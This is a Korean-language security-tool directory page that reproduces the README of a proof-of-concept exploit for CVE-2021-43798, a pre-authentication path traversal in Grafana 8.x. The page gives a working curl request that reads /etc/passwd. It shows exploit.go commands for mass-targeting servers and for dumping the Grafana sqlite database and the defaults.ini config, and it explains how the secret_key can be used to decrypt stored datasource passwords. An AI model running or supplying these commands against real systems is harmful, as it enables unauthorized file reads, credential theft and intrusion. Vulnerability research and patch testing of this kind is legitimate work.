Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x 경로 탐색 (인증 전) | Kitploit
도구/GitHubGitHub/taythebot/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x 경로 탐색 (인증 전)

저장소 보기
4184년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-43798

Grafana 8.x 경로 탐색 (사전 인증)

모든 크레딧은 j0v와 그의 트윗 https://twitter.com/j0v0x0/status/1466845212626542607 에 있습니다.

면책 조항

이것은 교육 목적으로만 제공됩니다. 귀하의 행동에 대해 책임을 지지 않습니다. 책임은 본인에게 있습니다.

선의로, 이 취약점이 공개되거나 패치가 제공될 때까지 이 PoC의 공개를 보류했습니다.

목차

  • 설명 - 취약점 설명
  • 공격 벡터 - 수행할 수 있는 공격 목록
  • 익스플로잇 스크립트 - 익스플로잇 스크립트 사용법

설명

저는 j0v의 트윗에서 Grafana 경로 탐색 버그를 발견했다는 주장을 보았습니다. 호기심에 Grafana 소스 코드를 살펴보기 시작했습니다. 트윗에는 사전 인증 버그라고 언급되어 있었습니다. Grafana에는 몇 개의 공개 API 엔드포인트만 있으며, 그 중 사용자로부터 파일 경로를 받는 엔드포인트는 하나뿐이었습니다.

Grafana에는 /public/plugins/:pluginId라는 공개 API 엔드포인트가 있으며, 이를 통해 플러그인의 자산을 볼 수 있습니다. 이는 유효한 :pluginId를 제공한 다음 img/logo.png와 같은 파일 경로를 지정하여 작동합니다. 그러나 Grafana는 사용자가 제공한 파일 경로를 적절히 검증하지 못하여 경로 탐색이 발생합니다.

액세스되는 디렉터리는 <grafana>/public/app/plugins/panel/<pluginId>입니다. 표준 Grafana 설치에서 Grafana 데이터 디렉터리는 /usr/share/grafana입니다. 따라서 8개의 디렉터리를 거슬러 올라가면 파일 시스템 루트 디렉터리에 도달할 수 있습니다.

HTTP 요청:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

문제가 되는 코드: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

참고: 브라우저에서는 작동하지 않습니다 (브라우저는 경로에서 ../를 자동으로 축소합니다)

curl에서 --path-as-is 인수를 사용하여 테스트할 수 있습니다:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

공격 벡터

이 취약점을 사용하여 수행할 수 있는 몇 가지 공격입니다.

Sqlite 데이터베이스 덤프

Grafana는 기본적으로 sqlite3 데이터베이스를 사용합니다. 이는 /var/lib/grafana/grafana.db에 저장됩니다. 이 데이터베이스를 덤프하기 위해 exploit.go 스크립트를 사용할 수 있습니다.

예시:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

그런 다음 이 데이터베이스를 읽어 사용자, 인증 토큰 및 데이터 소스를 얻을 수 있습니다.

defaults.ini 설정 파일 덤프

Grafana는 설정을 <grafana>/conf/defaults.ini 파일에 저장합니다. 여기에는 sqlite3 대신 mysql을 사용하는 경우 secret_key, host, user, password와 같은 몇 가지 흥미로운 값이 있습니다.

예시:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

참고: https://grafana.com/docs/grafana/latest/administration/configuration/

데이터소스 비밀번호 복호화

Grafana는 defaults.ini 설정 파일의 secret_key를 사용하여 AES-256-CBC로 모든 데이터 소스 비밀번호를 암호화합니다. 위에 표시된 대로 이 설정 파일을 덤프한 다음 데이터베이스에서 값을 복호화할 수 있습니다.

참고: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

세션 탈취

Grafana는 세션 토큰을 auth_tokens 테이블에 저장합니다. 세션을 탈취할 수는 없었지만, 소스 코드를 읽으면 방법을 알아낼 수 있을 것입니다.

익스플로잇 스크립트

예제

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

단일 대상

root@kitploit:~
go run exploit.go -target <target> -file <path>

파일로 출력

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

참고: 다중 대상에서는 작동하지 않습니다.

다중 대상

root@kitploit:~
go run exploit.go -list <list> -file <path>

defaults.ini 덤프

root@kitploit:~
go run exploit.go -target <target> -dump-config

sqlite3 데이터베이스 덤프

root@kitploit:~
go run exploit.go -target <target> -dump-database

빌드

root@kitploit:~
make build
도구 다운로드